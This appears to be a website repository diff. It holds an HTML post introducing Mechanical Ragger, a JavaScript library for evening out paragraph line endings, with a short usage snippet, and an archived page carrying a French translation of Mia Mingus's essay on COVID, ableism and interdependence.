<p class="wide"><img src="/uploads/Ragging%20Animation.svg" alt="Comparison showing text ragging"></p> | |||
<p class="caption">Text without ragging (left) compared to with ragging (right)</p> | |||
<p>Without ragging, lines are left to break naturally with the content, where long words at the end of a line can cause irregularities in the shape of paragraphs. This often has the effect of drawing a reader’s attention away from the content. A well-ragged paragraph removes these and brings a sense of rhythm and harmony to the often irregular shapes of latin text, ensuring readers can get through the copy without distraction.</p> | |||
<p>Mechanical Ragger brings this print concept to the web, improving the appearance of text blocks by removing these significant gaps and alternating line lengths to enhance the rhythm of the paragraph. To do this, it adds shapes to every other line in a paragraph, causing text to wrap around it:</p> | |||
<p><img src="/uploads/Exclusion%20Example.svg" alt="Visual showing how Mechanical Ragger works"></p> | |||
<p class="caption">How Mechanical Ragger works behind the scenes</p> | |||
<h2 id="demo">Demo</h2> | |||
<p><a href="https://oakstudios.github.io/mechanical-ragger"><img src="/uploads/mechanical-ragger-demo.png" alt="Mechanical Ragger demo website"></a></p> | |||
<p class="caption">View a live demo at: <a href="https://oakstudios.github.io/mechanical-ragger">oakstudios.github.io/mechanical-ragger</a></p> | |||
<h2 id="usage">Usage</h2> | |||
<p>We built this tool as an extensible JavaScript library; it’s ready-to-use on the web, in React, and easily portable to any framework. Using the web component, the setup can be as simple as:</p> | |||
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o"><</span><span class="nx">mechanical</span><span class="o">-</span><span class="nx">ragger</span><span class="o">></span> | |||
<span class="nx">Lorem</span> <span class="nx">ipsum</span> <span class="nx">dolor</span> <span class="nx">sit</span> <span class="nx">amet</span> <span class="nx">consectetur</span> <span class="nx">adipisicing</span> <span class="nx">elit</span><span class="p">.</span> | |||
<span class="o"><</span><span class="sr">/mechanical-ragger</span><span class="err">> | |||
</span> | |||
<span class="o"><</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">https://unpkg.com/@oakstudios/mechanical-ragger@latest/web-component-auto-register.js</span><span class="dl">"</span><span class="o">><</span><span class="sr">/script</span><span class="err">> | |||
</span></code></pre></div></div> | |||
<h2 id="considerations">Considerations</h2> | |||
<p>Typesetting is about more than just the shape of the text, though. There are a few related considerations to keep in mind when ragging:</p> | |||
<ul> | |||
<li>Avoid repeating words or shapes at the end of each line in a paragraph.</li> | |||
<li>Avoid breaking too many words, which can make readability worse.</li> | |||
</ul> | |||
<p>Advanced typesetting is complex and contextual, requiring a human touch. While the mechanical ragger is a useful aid, we call it mechanical for a reason, and content must be written accordingly.</p> | |||
<p>Mechanical Ragger is open-source, on <a href="https://github.com/oakstudios/mechanical-ragger">GitHub</a> and as an <a href="https://www.npmjs.com/@oakstudios/mechanical-ragger">NPM module</a>. Contributions to add new features and more platform support for the Mechanical Ragger are always welcome.</p> |
@@ -0,0 +1,209 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Nos morts ne vous sont pas dues (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://www.jefklak.org/nos-morts-ne-vous-sont-pas-dues/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Nos morts ne vous sont pas dues</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://www.jefklak.org/nos-morts-ne-vous-sont-pas-dues/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p class="entry-translator">Traduit de l’anglais (É-U) par Unai Aranceta et Elvina Le Poul<br> | |||
Article original : « <a class="website-link" href="https://leavingevidence.wordpress.com/2022/01/16/you-are-not-entitled-to-our-deaths-covid-abled-supremacy-interdependence/">You Are Not Entitled To Our Deaths: COVID, Abled Supremacy & Interdependence</a> », <em>Leaving Evidence</em>, 16 janvier 2022</p> | |||
<div class="intro"> | |||
<p class="textbody">Depuis le début de la pandémie, les malades chroniques, immunodéprimé⋅es, personnes âgées et handicapées sont particulièrement exposé⋅es au danger mortel que représente le covid. Iels doivent en plus affronter les effets indirects que la circulation du virus engendre : isolement, pénurie de personnels soignants, précarité. Pourtant, leurs vies restent perçues comme secondaires et l’écart se creuse avec les personnes valides qui se sentent peu concerné⋅es par les risques. L’autrice et formatrice Mia Mingus travaille sur la justice handie et la justice transformatrice. Elle invite à mettre au centre les personnes handicapées et à envisager la pandémie selon une perspective antivalidiste.</p> | |||
<p><span id="more-9739"></span></p> | |||
</div> | |||
<p class="textbody">Ces jours-ci, les personnes valides peinent à trouver grâce à mes yeux. Je me suis mise en retrait de la plupart de mes relations avec les valides de mon entourage parce qu’honnêtement, je ne parviens pas à exprimer l’ampleur de la rage handie que je ressens au sujet de cette pandémie, ni l’ahurissant nombrilisme des valides occupé⋅es à défendre leur bon droit. Impossible de demander gentiment des nouvelles ou de m’entendre demander comment je vais, dans ce contexte de souffrance de masse, de maladie et de mort. Je ne peux plus me pencher sur les analyses qui au milieu d’une pandémie, détaillent les taux élevés d’infection, de maladie et de mort dans les communautés des personnes racisées, Noires et Indigènes qui omettent d’évoquer la situation des personnes handicapées dans ces mêmes communautés. Je ne peux plus écouter <a class="website-link" href="https://www.rollingstone.com/politics/politics-news/cdc-disability-rochelle-walensky-encouraging-death-1282179/">la direction du CDC</a> (ndt : le Centre pour le contrôle et la prévention des maladies, principale agence fédérale de protection de la santé publique) affirmer qu’il est encourageant que seules les personnes qui n’étaient pas en bonne santé avant l’infection mourront des suites d’Omicron, et avoir vent des vacances extra-continentales de mes soi-disant camarades. Je ne peux plus prendre part aux conversations prétendument politiques qui ne reconnaissent pas le handicap, le <a class="website-link" href="https://www.talilalewis.com/blog/working-definition-of-ableism-january-2022-update">validisme</a> et la suprématie valide alors qu’on est <em>au cœur d’une pandémie</em>.</p> | |||
<p class="textbody">Nous n’échangerons pas les morts des personnes handicapées contre les vies des personnes valides. Nous ne permettrons pas que des personnes handicapées soient jetables, ni qu’elles servent de variables d’ajustement pour le maintien du statu quo. Nous ne détournerons pas le regard de la maladie et de la mort de masse qui nous environnent, ni d’un appareil d’État, qui tout à son laisser-faire eugéniste, s’applique essentiellement à perpétuer le profit et le confort des privilégié⋅es.</p> | |||
<p class="textbody">Nous savons que l’État nous a laissé tomber. Nous observons en ce moment même s’exercer une violence pandémique validée par l’État : le meurtre, l’eugénisme, la maltraitance et une négligence glaçante sont les seules réponses aux souffrances, à la maladie et à la mort que nous subissons en masse. Nous sommes la nation la plus riche du monde, et nous continuons de préférer la rentabilité et le confort aux dépens des personnes et de la vie. L’État enfonce profondément le couteau de la souffrance dans les tripes de ceux et celles qui sont déjà à terre. Sa cruauté est sans limite et sans remords.</p> | |||
<p class="textbody">Du côté de la gauche radicale, nous ne sommes pas vraiment surpris⋅es. Nous avons vu ce que l’État était prêt à faire subir à son propre peuple. Nous n’avons jamais pu compter sur l’État puisque nous savons qu’il ne se soucie pas de nous ni de notre communauté. Nous avons toujours dû nous organiser en dehors de l’État. Rien de nouveau. Nous sommes déjà passé⋅es par là et nous y voilà de nouveau.</p> | |||
<p class="textbody">Nous savons que nous avons besoin d’un changement systémique pour que notre communauté puisse – <em>littéralement</em> <em>– </em>survivre à cette pandémie, mais nous savons aussi que le type de changement dont nous avons besoin a peu de chance d’advenir. Il est dans l’intérêt de celleux qui ont le pouvoir de maintenir les gens éloignés du soin, malades et dépendants de miettes de plus en plus maigres. C’est là une des raisons de l’efficacité du validisme et de la pauvreté, et ce qui explique pourquoi les deux vont si souvent de pair. Il y a tant de choses en ce moment que nous ne pouvons ni maîtriser, ni changer, même si nous le voulions désespérément. Tandis que nous luttons pour des changements systémiques, nous pouvons aussi transformer ce qui se passe au sein de nos communautés. Nous pouvons apprendre de nos erreurs et tenter, c’est la moindre des choses, de ne pas empirer les choses.</p> | |||
<p class="textbody">Opposer la nécessité du changement étatique et systémique à celle du changement individuel et communautaire repose sur une fausse alternative. Les deux sont nécessaires pour sortir du chaos pandémique, comme pour toutes les libérations pour lesquelles nous nous battons. Il faut accorder des primes de risque aux travailleurs⋅euses essentiel⋅les, mettre fin aux expulsions, payer les gens pour qu’ils restent à la maison, distribuer des tests gratuits à tout le monde. Il est aussi indispensable que tout le monde porte des masques, cesse d’organiser et de participer à des rassemblements en présence, cesse de voyager inutilement, se vaccine et reçoive sa dose de rappel. Certaines personnes à gauche ne parlent que du besoin de mesures étatiques, alors qu’elles-mêmes ne sont pas vaccinées ou n’ont pas fait leur rappel et n’ont pas cessé d’organiser ou d’assister à des rassemblements en présence. Si la justice transformatrice nous a appris une chose, c’est bien que le changement systémique n’est pas suffisant. De nombreux changements doivent aussi se produire au niveau communautaire et individuel.</p> | |||
<p class="textbody">Les vaccins ont mis en lumière le profond ancrage du validisme dans nos cultures politiques. Les personnes handicapées en ont toujours eu conscience, mais les personnes valides m’ont incroyablement déçue et mise en colère, particulièrement celles qui au sein de nos mouvements, ont renforcé la suprématie validiste, via la culture et le privilège valide, esquivé leurs responsabilités et ont manqué opportunité après opportunité de défier cette suprématie et d’agir en solidarité avec les personnes handicapées et leurs communautés.</p> | |||
<p class="textbody">Pourquoi avons-nous permis que l’on présente le vaccin comme un choix individuel plutôt que comme une action collective au nom de l’interdépendance et de la solidarité avec les personnes handicapées (en particulier celles à haut risque), les aîné⋅es, les enfants qui ne peuvent pas se faire vacciner, les pays du Sud global, les travailleurs⋅euses essentiel⋅les et celles et ceux qui n’ont pas la possibilité de travailler depuis la maison ? Pour celles et ceux qui peuvent se faire vacciner, il ne s’agit pas de choix personnel. Ça n’a rien à voir avec le fait de décider d’avorter, arrêtez avec ça. Ne pas se faire vacciner n’a rien du « mon corps, mon choix », c’est comme conduire en état d’ébriété ou exposer quelqu’un·e à la fumée de sa cigarette.</p> | |||
<p class="textbody">Nous devrions parler de la vaccination pour la faire entrer dans notre culture politique à gauche. En parler sur les réseaux sociaux est important, mais il est plus important encore d’avoir cette conversation avec les gens qui nous entourent. Non pas pour faire honte, car on sait, grâce à la <a class="website-link" href="https://leavingevidence.wordpress.com/2019/01/09/transformative-justice-a-brief-description/">justice transformatrice</a>, que faire honte n’est pas utile, mais de façon à engager la conversation et poser des conséquences claires, et non des punitions.</p> | |||
<p><img class="aligncenter size-full wp-image-9746" src="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium.jpg" alt="" srcset="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium.jpg 700w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium-300x200.jpg 300w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium-296x197.jpg 296w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium-600x399.jpg 600w" sizes="(max-width: 700px) 100vw, 700px"></p> | |||
<p class="textbody">Le fait de se faire vacciner et de faire ses rappels devrait être présenté comme faisant partie de notre engagement politique en faveur de l’<a class="website-link" href="https://leavingevidence.wordpress.com/2017/04/12/access-intimacy-interdependence-and-disability-justice/">interdépendance</a>, de la <a class="website-link" href="https://leavingevidence.wordpress.com/2011/02/12/changing-the-framework-disability-justice/">justice </a><a class="website-link" href="https://leavingevidence.wordpress.com/2011/02/12/changing-the-framework-disability-justice/">pour les personnes handicapées</a> <sup class="footnote"><a href="#fn-9739-1" id="fnref-9739-1">1</a></sup> et de la solidarité. J’ai été écœurée, mais pas tellement surprise, du nombre de personnes de nos mouvements <em>qui ont les moyens d’être vaccinées</em>, qui ont choisi de ne pas l’être et continuent d’aller au restaurant, dans des fêtes, au lieu de rester chez elles et de protéger les autres. En tant que personne qui a subi des abus phénoménaux, dont des abus sexuels, au sein de <a class="website-link" href="https://leavingevidence.wordpress.com/2015/02/06/medical-industrial-complex-visual/">l’institution médicale</a>, je ne soutiens en aucune manière l’imposition forcée de traitements médicaux, y compris de vaccins. Je veux que vous <em>vouliez</em> faire ce qui est juste. <em>Je veux que vous vouliez protéger les autres et vous soucier d’elles et d’eux. </em>Si vous avez les moyens de vous vacciner, mais que vous vous opposez catégoriquement à le faire, alors pour notre sécurité collective, restez chez vous et tenez vous loin des autres.</p> | |||
<p class="textbody">La culture valide apprend aux valides que les choses leur sont dues. Vous avez le droit de ne jamais avoir à apprendre quoi que ce soit au sujet du handicap et du validisme. Vous avez le droit de vous mouvoir dans le monde et de rejoindre nos mouvements, même sans la moindre once de compréhension ni d’analyse politique au sujet du handicap, ce qui ne vous empêche pas de pontifier au sujet de toutes les autres formes d’oppression et de violence. La culture validiste dans nos mouvements, c’est de pouvoir répéter « nous devons mettre au centre celles et ceux qui sont les plus concerné⋅es » chaque jour, tous les jours, mais de ne pas mettre les handicapé⋅es au centre de ses préoccupations, même celleux à hauts risques, en plein milieu d’une pandémie. Le bon droit des valides, c’est que vous continuiez à programmer vos séjours à l’étranger en plein pic de Delta ; que vous continuiez à publier des photos de vos grandes réunions de famille en plein pic d’Omicron.</p> | |||
<p class="textbody">Vous n’avez pas de droit sur nos mort·es. Vous n’avez pas de droit sur les morts de nos proches sacrifié⋅es au nom du capital, du privilège et de « la vie normale ». Vous n’avez pas de droit sur notre silence qui tapisse nos douleurs et souffrances, ni sur le goudron visqueux du deuil qui nous plombe. Vous n’avez pas de droit sur notre peur et notre terreur face à l’aggravation de la situation et du chaos de cette pandémie, tandis que nous nous demandons si nous pourrons un jour sortir de chez nous à nouveau en nous sentant en sécurité.</p> | |||
<p class="textbody">Vous profitez de vos relations aux dépends de notre isolement. Vos besoins sont toujours plus importants que ceux du collectif. Quand vous choisissez de faire des paris avec votre propre santé, vous prenez seulement en considération les risques<em> que vous prenez</em> et jamais ceux que vous faites courir aux autres. La manière dont le bon droit des valides évalue les risques ne varie pas : « serai-je malade ? Je m’en remettrai bien. Ma famille ira bien, mes enfants iront bien », jamais il ne se demande : « est-ce que ça ira pour elleux ? Est-ce que ça ira pour leurs enfants, pour leur famille ? Est-ce que toutes les personnes avec lesquelles iels interagissent iront bien ? » Jamais il ne se demande : « Est-ce que ça pourrait blesser leur pays, leur continent ? » Bien emmitouflé⋅e dans votre bravade de privilégié⋅e valide : « ça ne peut pas m’arriver. Je suis en bonne santé », jamais vous ne vous demandez : « Qui pourrais-je exposer ? Je m’en remettrai peut-être, mais quelqu’un d’autre ne s’en remettra peut-être pas. »</p> | |||
<p class="textbody">La suprématie validiste signifie que beaucoup d’entre vous estiment à tort que si vous attrapez le covid et que vous vous en tirez avec un <a class="website-link" href="https://www.facebook.com/groups/373920943948661/">covid long</a>, l’État ou votre communauté s’occupera de vous. Vous en êtes persuadé·es parce que vous ne savez rien de la réalité vécue du handicap dans ce pays. Le privilège valide implique que vous n’avez pas à écouter les personnes handicapées ni à apprendre ce que sont le validisme et la suprématie validiste. Notre gouvernement se fiche des personnes handicapées qui existent déjà. Penser qu’il prendra soin de vous si vous devenez handicapé⋅es à cause du covid, comme des millions d’autres le deviendront, c’est le fruit de votre ignorance validiste.</p> | |||
<p class="textbody">J’ai besoin que vous vous souciez davantage des vies des personnes handicapées que de vos vacances ou de vos fêtes. L’isolement est l’une des pierres angulaires du handicap dans un monde de personnes valides. Il est partie prenante du trauma provoqué par le validisme. Les personnes handicapées sont marquées encore et encore par l’isolement provoqué par l’inaccessibilité matérielle, sociale et culturelle, par le stigmate, la peur, la violence et la honte. Nous négocions avec des formes variées de distance sociale tout au long de notre vie. Pendant cette pandémie – c’est-à-dire pendant des années, beaucoup de personnes handicapées, en particulier celles à hauts risques, n’ont pas quitté leur maison ni vu quiconque, excepté les personnes avec qui elles habitent. Vous prenez pour acquis le luxe d’une relation vécue en présence et vous pensez que continuer à en avoir est votre droit le plus strict , même si cela implique de risquer de prolonger et d’aggraver la pandémie, alors même que des milliers de personnes autour de vous meurent et souffrent.</p> | |||
<p class="textbody">Nous ne savons pas quand un prochain variant s’affirmera comme une menace. Les scientifiques observent de nombreux variants qui ne sont pas <em>encore </em>devenus des menaces. Plus le covid est autorisé à circuler au sein d’une communauté, plus il a de chance de muter et d’engendrer un nouveau variant. Nous ne pouvons pas continuer à risquer la sécurité collective au nom des petits plaisirs individuels. Nous ne pouvons pas continuer à sacrifier les besoins à long terme au nom de la satisfaction des désirs à court terme.</p> | |||
<p class="textbody">Les personnes handicapées ne sont pas jetables. Nous sommes votre présent redouté et votre inévitable futur. Nous sommes ce que l’âge et le temps promettent plus que tout, et c’est pourquoi vous avez peur de nous, et que vous nous avez continuellement repoussé·es et caché·es. Vous ne nous voulez pas trop près de vous, vous ne voulez pas être quotidiennement ramené à notre différence et à vos privilèges ; vous ne voulez pas avoir à changer vos vies pour nous. Nous devons être jeté·es à la benne, soigneusement oublié·es pour que vous puissiez continuer à faire semblant, sans interruption.</p> | |||
<p class="textbody">Les pandémies, le changement climatique, la pollution et la toxicité ont fait pencher la balance et augmenté les chances que le handicap représente notre futur collectif. Vous avez peut-être pu détourner les yeux de la violence d’État, de la pauvreté et de l’addiction, mais qu’en est-t-il lorsque c’est l’air même que vous respirez qui devient une menace ? Quand il n’est plus possible d’échapper à la catastrophe climatique et que vous ne pouvez pas vous permettre de quitter la planète ? La sécurité individuelle est un mythe en soi. Elle n’existe pas sans sécurité collective, et la sécurité collective implique que personne ne soit en sécurité si tout le monde ne l’est pas.</p> | |||
<p class="textbody">Vous interrogez vos privilèges, mais jamais vos privilèges de personnes valides. Vous vous éduquez sur les oppressions, mais jamais sur le validisme. Vous adorez vos communautés des Personnes racisées, Noires et Indigènes, queer, prolétaires, abolitionnistes [ndt : de la prison et de la police], anti-racistes, féministes, d’immigré·es, mais vous ne semblez jamais vous souvenir de l’existence de personnes handicapées dans ces communautés, et dans toutes les autres.</p> | |||
<p class="textbody">Les mien·nes meurent et sont terrifié·es. Et ça ne semble pas vous intéresser. Ça ne semble pas vous intéresser parce que vous ne les voyez pas – parce que vous ne nous voyez pas – comme étant aussi des vôtres. Quand vous me parlez de justice raciale, de justice du logement, de justice sanitaire ou de justice du genre, de qui parlez-vous exactement ? Pour quelle justice luttez-vous ? Parce qu’il semble que les personnes handicapées n’en fassent jamais partie ou, si c’est le cas, seulement en théorie et pas en pratique ; seulement pour vous donner bonne conscience. Ou seulement quand des personnes handicapées sont dans la pièce et qu’elles sont à l’initiative de la discussion.</p> | |||
<p class="textbody">Je ne veux pas être votre ami·e ou camarade racisé·e-handicapé·e-politisé·e de service. Si vous vous souciez de moi, j’ai aussi besoin que vous vous souciez des personnes handicapées et de leurs communautés, car si vous ne vous intéressez pas à elleux, vous ne vous intéressez pas à moi. Si vous vous souciez de moi, alors j’ai besoin que vous compreniez votre position de personne valide et que vous remettiez en question la suprématie validiste, et plus particulièrement la culture validiste qui considère la vie des personnes handicapées comme négligeable dans cette pandémie.</p> | |||
<p><img class="aligncenter size-full wp-image-9744" src="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB.jpg" alt="" srcset="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB.jpg 700w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-300x300.jpg 300w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-150x150.jpg 150w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-600x600.jpg 600w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-580x580.jpg 580w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-560x560.jpg 560w" sizes="(max-width: 700px) 100vw, 700px"></p> | |||
<p class="textbody">J’ai besoin que vous ne vous contentiez pas de <em>dire </em>que vous êtes solidaires avec les personnes handicapées ou que vous trouvez que la justice du handicap est importante ; j’ai besoin que vous la pratiquiez. J’ai besoin que vous engagiez des conversations difficiles avec d’autres personnes valides à propos des vaccins et des rappels, des masques et de l’annulation des rassemblements, du travail et des voyages non-nécessaires. De nombreuses personnes handicapées ont déjà fait ce travail parce qu’elles n’avaient pas le choix. Nous avons perdu des contacts, on nous a crié dessus, moqué⋅es, ridiculisé⋅es, on nous a dit que nous surréagissions, que nous vous persécutions ou cherchions à vous contrôler, simplement parce que nous ne voulions pas mourir. Simplement parce que nous ne voulons pas que d’autres personnes meurent. Simplement parce que nous ne pouvons pas nous permettre d’être à la merci d’un système de tri médical qui peut nous considérer indigne de recevoir un traitement, en raison de notre handicap, de notre maladie, de notre classe, race, couleur de peau, accent ou statut d’immigrant⋅e, de notre genre ou de notre corpulence. Simplement parce que nombre d’entre nous <em>savaient </em>ce qui allait arriver – ce qui <em>arrive –</em> et nous savions que nous ne pourrions pas l’arrêter sans vous, et nous savions que vous choisiriez toujours votre propre confort et votre plaisir plutôt que la sécurité collective, plutôt que l’interdépendance. Comment mettre des mots sur l’angoisse que suscite le fait de compter sur des gens qui n’ont pas besoin de vous ?</p> | |||
<p class="textbody">Il nous faut envisager cette pandémie en termes d’interdépendance. C’est le bon angle politique, car c’est le seul qui soit moral et humain. L’interdépendance reconnaît que nous sommes lié·es dans notre survie, que nous sommes interconnecté·es et que tout ce que nous faisons a un effet sur les autres. Si cette pandémie a bien fait une chose, c’est de montrer l’incapacité profonde de notre société à valoriser et à mettre en pratique l’interdépendance. L’interdépendance est le seul moyen de résoudre les problèmes éminemment urgents auxquels nous sommes confronté·es aujourd’hui. Si nous ne comprenons pas notre relation d’interdépendance avec la planète, nous ne survivrons pas en tant qu’espèce.</p> | |||
<p class="textbody">La culture validiste vous apprend à agir comme si vous étiez indépendant·e, à adhérer au <a class="website-link" href="https://leavingevidence.wordpress.com/2017/04/12/access-intimacy-interdependence-and-disability-justice/">mythe de l’indépendance</a>. Rejetez cela. Adoptez l’interdépendance et prenez conscience qu’il s’agit du seul moyen qui nous rende capables de mettre fin à cette pandémie. Sachez que si nous mettons les personnes handicapées, et en premier lieu celles à haut risque, au centre de nos préoccupations, cela aidera <em>tout le monde. </em>Plus de personnes vaccinées et à jour dans leurs rappels, c’est moins de personnes qui submergent les hôpitaux et plus de lits de réanimation et de personnel médical disponible pour celles et ceux qui en ont réellement besoin. Cela signifie également que les opérations non-urgentes et les autres procédures médicales vitales ne devront pas être reportées à cause d’un système médical débordé. Moins de personnes voyageant inutilement signifie moins de chance pour le virus de se diffuser et de muter, et que celles et ceux <em>qui ont besoin </em>de voyager (par exemple pour prendre soin d’un·e proche malade) courent moins de risques. Pour celles et ceux qui le peuvent, rester à la maison et ne pas sortir quand ce n’est pas nécessaire permet de créer des conditions plus sûres pour celles et ceux qui ne sont pas en mesure de rester chez elleux. Décliner des invitations et en expliquer la raison permet non seulement d’arrêter la propagation, mais aussi de donner l’exemple du soin, des contraintes et de l’interdépendance.</p> | |||
<p class="textbody">Transformez votre déception de devoir annuler un événement en une opportunité de pratiquer l’interdépendance, la solidarité et la justice du handicap. De la même façon que vous pourriez vous retenir d’assister à un spectacle ou d’acheter quelque chose parce que vous voulez soutenir des travailleur·ses en grève, soutenez les groupes les plus vulnérables dans cette pandémie. Cela inclut les pays du Sud global, où sont présent·es de très nombreuses personnes racisées, Noires et Indigènes handicapées, car nous savons bien qu’elles feront les frais des privilèges, de l’égoïsme et de la cupidité des pays du Nord (par exemple en n’autorisant pas la levée des brevets sur les vaccins, qui permettrait de ralentir la propagation du virus). Si nous nous mobilisons tous·tes pour protéger les plus vulnérables, si nous pratiquons tous·tes ensemble l’action collective, nous pouvons significativement contribuer à réduire les risques et les dommages pour tout le monde.</p> | |||
<p class="textbody">La solution ne peut pas passer par la contamination de tous·tes au covid. Il s’agit d’eugénisme, car de nombreuses personnes handicapées à haut risque mourraient du covid et celles et ceux qui n’en mourraient pas auront de graves complications et des répercussions à vie sur leur santé et leur bien être, notamment en cas de covid long. Ne tombez pas dans le panneau de cette pensée eugéniste qui suppose le sacrifice des plus vulnérables. Le covid long est réel et peut toucher n’importe qui.</p> | |||
<p class="textbody">Cette pandémie va engendrer des millions de personnes handicapées supplémentaires souffrant de maladies chroniques. Sommes-nous prêt·es pour ce qui nous attend ? Sommes-nous prêt·es à faire face à l’augmentation du nombre de personnes souffrant de maladie chronique ? Sommes-nous prêt·es à la nécessaire modification de nos mouvements et de notre travail politique que cela implique ? Ou allons-nous continuer à exclure le handicap et les personnes handicapées de nos mouvements et de nos communautés ? Allons-nous continuer d’oublier le validisme et la suprématie validiste dans notre travail de libération ?</p> | |||
<p class="textbody">S’il y a jamais eu un moment pour se montrer solidaire des personnes handicapées, c’est maintenant. Comme c’est le cas depuis le début de la pandémie. Tout dépend de ce que vous pouvez faire maintenant. C’est le moment de vous réorienter, de vous (ré)aligner avec vos valeurs. Nous n’avons pas besoin de vos excuses, nous n’avons pas le temps pour cela, nous avons juste besoin que vous fassiez mieux. Si vous êtes valide, parlez aux autres personnes valides. À cause du validisme, iels seront plus ouvert·es à la discussion si elle vient de vous plutôt que de nous. Aidez-les à s’éduquer. Ne participez pas à la reconduction de la suprématie validiste. Désapprenez tout ce qui ne sert pas l’interdépendance.</p> | |||
<p class="textbody">L’interdépendance c’est en fin de compte le « nous » qui prime sur le « je ». C’est la compréhension que nous sommes lié·es les un·es aux autres, par notre simple existence sur cette planète. L’interdépendance est génératrice et fondée sur le soin des autres. Elle ne vit pas dans l’obligation ou le bon droit, mais plutôt dans un enthousiasme aimant et un don sacré. Elle ne peut pas exister dans la pénurie, la compétition, la comparaison, la domination ou la cupidité. Elle s’épanouit dans l’abondance, en appréciant et honorant la différence, dans le soin et l’accès collectif. L’interdépendance peut aussi bien exister entre deux personnes qu’entre six milliards.</p> | |||
